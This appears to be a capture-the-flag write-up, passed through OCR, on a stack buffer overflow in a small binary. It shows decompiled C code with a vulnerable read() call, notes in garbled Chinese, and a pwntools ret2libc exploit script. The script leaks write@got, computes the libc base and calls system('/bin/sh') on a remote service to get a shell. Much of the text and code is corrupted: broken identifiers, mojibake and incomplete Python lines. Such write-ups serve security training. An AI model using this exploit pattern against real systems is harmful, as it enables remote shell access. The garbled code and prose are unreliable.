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int _ cdecl main(int argc, const char **argv, const char **envp)

{
be nice to people();
vulnerable function()};
return write(1, "Hello, World\n", @xDu);
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vulnerable function() :

ssize_t wvulnerable_function()
{
char buf; /f [esp+18h] [ebp-88h]

return read(@, &buf, Bx160u);
¥

e return read(0, &buf, ox100u); : HJ L ox100 K/NHIEE, FFAEREH .
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FEFF TG system() Fl /bin/sh FRFER .
FIF weite() B %58 bk .
1§ Firet2libcft 77 getshell
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SR write() RBUBE G H, MEH write@got ML,
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from pwn import

remote( ,26594)

elf.plt[
elf.symbols|[

(0x88+4) p32(write plt) p32(main_addr) p32(1) p32(write_got) p32(4)
r.sendline(payload)
u32(r.recv(4))
(write_addr))

base_addr write_addr libc.symbols|[

system_addr base_addr libc.symbols|[
base_addr (libc.search(
(system_addr))
(bin_sh_addr))

SENAKETe (0x88+4) p32(system_addr) 4 +p32(bin_sh_addr)
r.sendline(payload2)

r.interactive()
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